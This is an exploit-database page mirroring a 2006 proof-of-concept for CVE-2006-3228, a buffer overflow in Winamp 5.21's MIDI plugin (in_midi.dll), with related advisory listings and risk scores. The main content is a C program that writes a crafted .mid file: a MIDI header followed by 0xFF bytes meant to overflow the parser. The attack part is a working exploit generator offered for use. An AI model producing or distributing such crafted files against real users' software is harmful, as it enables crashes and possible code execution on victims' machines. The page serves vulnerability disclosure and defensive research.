Lucene search
+L

Winamp 5.21 - '.Midi' File Header Handling Buffer Overflow (PoC)

🗓️ 20 Jun 2006 00:00:00Reported by BassReFLeXType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 23 Views

Winamp 5.21 Midi Buffer Overflow in_midi.dll Po

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Winamp < 5.22 MIDI File Handling Overflow
19 Jun 200600:00
nessus
Tenable Nessus
Winamp < 5.22 Malformed Midi File Handling Buffer Overflow
20 Jun 200600:00
nessus
Tenable Nessus
Winamp < 5.24 in_midi.dll MIDI File Processing Overflow
22 Jun 200600:00
nessus
Check Point Advisories
Nullsoft Winamp Midi File Header Handling Buffer Overflow (CVE-2006-3228)
23 Feb 201000:00
checkpoint_advisories
CVE
CVE-2006-3228
26 Jun 200619:00
cve
Cvelist
CVE-2006-3228
26 Jun 200619:00
cvelist
EUVD
EUVD-2006-3225
7 Oct 202500:30
euvd
NVD
CVE-2006-3228
26 Jun 200620:05
nvd
/*

 * ********************************************** *
 * Winamp 5.21 - Midi Buffer Overflow in_midi.dll *
 * ********************************************** *
 * PoC coded by: BassReFLeX                       *
 * Date: 19 Jun 2006                              *
 * ********************************************** *

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char* file);

char header[] = "\x4D\x54\x68\x64\x00\x00"
                "\x00\x06\x00\x00\x00\x01"
                "\x00\x60\x4D\x54\x72\x6B"
                "\x00\x00";

char badc0de[] = "\xFF\xFF\xFF\xFF\xFF\xFF"
		 "\xFF\xFF\xFF\xFF\xFF\xFF";



int main(int argc,char* argv[])
{
    system("cls");
    printf("\n* ********************************************** *");
    printf("\n* Winamp 5.21 - Midi Buffer Overflow in_midi.dll *");
    printf("\n* ********************************************** *");
    printf("\n* PoC coded by: BassReFLeX                       *");
    printf("\n* Date: 19 Jun 2006                              *");
    printf("\n* ********************************************** *");

    if ( argc!=2 )
    {
        usage(argv[0]);
    }

    FILE *f;
    f = fopen(argv[1],"w");
    if ( !f )
    {
        printf("\nFile couldn't open!");
        exit(1);
    }


    printf("\n\nWriting crafted .mid file...");
    fwrite(header,1,sizeof(header),f);
    fwrite(badc0de,1,sizeof(badc0de),f);
    printf("\nFile created successfully!");
    printf("\nFile: %s",argv[1]);
    return 0;
}

void usage(char* file)
{
    printf("\n\n");
    printf("\n%s <Filename>",file);
    printf("\n\nFilename = .mid crafted file. Example: winsploit.exe craftedsh1t.mid");
    exit(1);
}

// milw0rm.com [2006-06-20]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Aug 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.11672
23